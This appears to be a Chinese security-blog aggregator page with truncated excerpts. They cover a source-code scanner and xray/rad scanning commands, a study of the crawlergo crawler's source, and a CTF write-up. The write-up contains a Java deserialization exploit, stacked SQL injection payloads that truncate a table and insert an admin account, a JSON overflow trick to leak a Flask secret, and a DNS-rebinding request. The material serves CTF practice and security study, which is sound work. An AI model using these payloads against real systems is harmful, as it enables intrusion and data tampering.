,是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,分析的过程中与它特有的软件安全漏洞规则集进行全面地匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并给予整理报告。扫描的结果包含详细的安全漏洞信息、安全知识说明、修复意见。下载详情参考:https://www.shungg.cn/301.html这里我们拿一个项目进行白盒扫描扫描出存在sql注入的地方➤ rad联动xary进行爬虫扫描先运行xray执行监听1.xray.exe webscan --listen 127.0.0.1:7777 --html-output xxx.html然后执行rad进行爬取1.rad.exe -t http://testphp.vulnweb.com -http-proxy 127.0.0.1:7777浏览器配置代理,监听本地7777端口版权声明:本文为CSDN博主「遗憾zzz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/qq_36241198/article/details/120604274版权声明:著作权归作者所有。如有侵权请联系删除开源聚合网安训练营战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!加QQ(1005989737)找小姐姐私聊哦精选文章环境搭建Python学员专辑信息收集CNVD安全求职渗透实战CVE高薪揭秘渗透测试工具网络安全行业神秘大礼包基础教程我们贴心备至用户答疑 QQ在线客服加入社群QQ+微信等着你我就知道你“在看” 原文始发于微信公众号(开源聚合网络空间安全研究院):【安全入门】漏洞发现爬虫特扫&Burp插件自动化&白盒扫描
阅读全文
crawlergo 动态爬虫源码学习 安全开发

crawlergo 动态爬虫源码学习

crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。crawlergo 目前支持以下特性:* 原生浏览器环境,协程池调度任务* 表单智能填充、自动化提交* 完整DOM事件收集,自动化触发* 智能URL去重,去掉大部分的重复请求* 全面分析收集,包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz* 支持Host绑定,自动添加Referer* 支持请求代理,支持爬虫结果主动推送Github: https://github.com/Qianlitp/crawlergo作者开源了源码,我是很兴奋的,以前也有写一个的想法,但是开源的动态爬虫不多,看了其中几个。调研1.https://github.com/fcavallarin/htcap•递归dom搜索引擎•发现ajax/fetch/jsonp/websocket请求•支持cookie,代理,ua,http auth•基于文本相似度的页面重复数据删除引擎•根据文本长度 <256    •simhash    •else•ShinglePrint    •主要代码是python调用puppeteer,但是核心逻辑在js里2.https://github.com/go-rod/rod•一个操作chrome headless的go库•它比官方提供的chrome操作库更容易使用•有效解决了chrome残留僵尸进程的问题3.https://github.com/lc/gau•通过一些通用接口获取url信息4.https://github.com/jaeles-project/gospider•Web静态爬虫,也提供了一些方法获取更多URL5.https://github.com/chaitin/rad1.rad虽然没有开源,但是它里面使用yaml进行的配置选项很多,通过配置选项可以大致知道它的一些特性。2.可以手动登陆3.启用图片4.显示对爬取url的一些限制1.不允许的文件后缀2.不允许的url关键字3.不允许的域名4.不允许的url5.设置下个页面最大点击和事件触发Crawlergo之前也想过写一个动态爬虫来对接扫描器,但是动态爬虫有很多细节都需要打磨,一直没时间做,现在有现成的源码参考能省下不少事。主要看几个点•对浏览器 JavaScript环境的hoook    •dom的触发,表单填充    •url如何去重    •url的收集目录结构├─cmd│ └─crawlergo # 程序主入口├─examples├─imgs└─pkg ├─config # 一些配置相关 ├─engine # chrome相关程序 ├─filter # 去重相关 ├─js # 一些注入的js ├─logger # 日志 ├─model # url和请求相关的库 └─tools # 一些通用类库 └─requests根据源码的调用堆栈做了一个程序启动流程图配置文件pkg/config/config.go定义了一些默认的配置文件const ( DefaultUA = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36" MaxTabsCount = 10 TabRunTimeout = 20 * time.Second DefaultInputText = "Crawlergo" // 默认输入的文字 FormInputKeyword = "Crawlergo" // form输入的文字,但是代码中没有引用这个变量的 SuspectURLRegex = `(?:"|')(((?:{1,10}://|//){0,}|))|({1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:
阅读全文
第一届长城杯|web · misc · reverse部分wp合集 CTF专场

第一届长城杯|web · misc · reverse部分wp合集

web部分1. ezjava分析附件可知attack路由会进行反序列化。顺序是base64解码->AES解密->readObject 反序列化之后会转换成hashmap,然后获取第一个key对象。有一些限制:key对象必须是URL对象key对象的hashcode必须是72768382这个URL对象的url必须是https协议aes解密需要用到iv和key,都存在于配置文件中。需要写一下Encryptor类的encrypt方法 构造如下exp            URL uu = new URL("https://fuck");            Field ff = uu.getClass().getDeclaredField("hashCode");            ff.setAccessible(true);            ff.set(uu, 72768382);//            System.out.println(uu.hashCode());             HashMap hm = new HashMap();            hm.put(uu, "okok");             ByteArrayOutputStream baos = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(baos);            oos.writeObject(hm);             System.out.println(Encryptor.encrypt(baos.toByteArray()));//getflag 得到payload:12wXVxsSaj0AeRCrkummuENOeFnuqLdUqQzYl0v32nzs-v_o74o_1IBkpDPz3wIH0-m4jQUnnD811YZFr8K6Uia4XF2cyzMgSWQGQKoT-jt0yT2iUuCid1vhGx7sbKrDMFiZgvi6p9R11KzgTOjZJy5zrkngiG9HK1bs4sbRuLIi4kEY_qu0QMBIX6l0ujkH49setY5FtCagC-L1-bVh9Mq-uKWpBwmChMxL4uq41ohiF1KtKHKegORl4K3akx9ho4i0amz3wzvrAam-ok584u9i2ailXNFxkavCR6fXqbW-a4rotKI2eSawcd6YwtQtZ5FOknSZ5j5wm2ZhDPS0SQ== post到attack路由即可。      2. p&p 经过测试可以使用堆叠注入,不过qwb的一些做法,如预编译或者rename改表名都因为过滤的原因导致无法使用,正常查看表名: ```username=admin&password=';show tables;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2``` 拿到: ```//array(1) {  =>  string(10) "fake_admin"} array(1) {  =>  string(27) "real_admin_here_do_you_find"}``` 有两个表,真正的admin密码应该是在real_admin_here_do_you_find表里面,访问admin.php时提示:admin_inner,应该是真正的admin的账号。 找了一遍mysql手册发现了一个truncate可以清空表: https://dev.mysql.com/doc/refman/5.7/en/truncate-table.html ```TRUNCATE tbl_name username=admin&password=';truncate table real_admin_here_do_you_find;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2``` 不过看了下逻辑应该是必须要用admin_inner账号才能登陆,于是想起insert,但insert被过滤了找了手册找到了:https://dev.mysql.com/doc/refman/5.7/en/replace.html 其中提到了: ````REPLACE工作方式与 完全相同 INSERT,但如果表中的旧行与 aPRIMARY KEY或UNIQUE 索引的新行具有相同的值, 则在插入新行之前删除旧行。```` 那么就可以自己插入一个密码: ```username=admin&password=';replace real_admin_here_do_you_find value('1','admin_inner','admin');&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2``` 登陆后台有源码,通过download下载后发现后台运行着一个flask,看了下逻辑让其报500错误即可拿到secrets,然后再通过curl的一个很明显的dns rebinding即可getflag。 这里的逻辑跟3kctf的ppaste有点像:https://r0.haxors.org/posts?id=15,让json溢出造成后端的flask500,因此有: ```{"secrets":3.3e99999999999999}``` 拿到secrets后到curl处简单的dns rebinding即可,这里用ceye提供的dns rebinding即可: ```{"url":"http://ip:18888/flag","secrets":"00b252ba3f52a539ef90e7254f2d9874"}```MISC1. 签到ascii ->base64Reverse1. 魔鬼凯撒的RC4茶室第一部分改过的凯撒,第二部分rc4,但也不完全是,还算了半天key,浪费时间它只和一个字符进行了异或,直接爆破。import stringimport ctypess ="z8layn_b91_nb9ha1}kx"str_upper = string.ascii_uppercasestr_num = string.digitsstr_str = string.printableres1 =""for j inrange(len(s)):    for i in str_str:        ss =ord(i)        a =0        ifchr(ss) in str_upper:            a = (ss +32+20-97) %26+97        # if chr(ss) in str_lower:        #     a = (i +  20...
阅读全文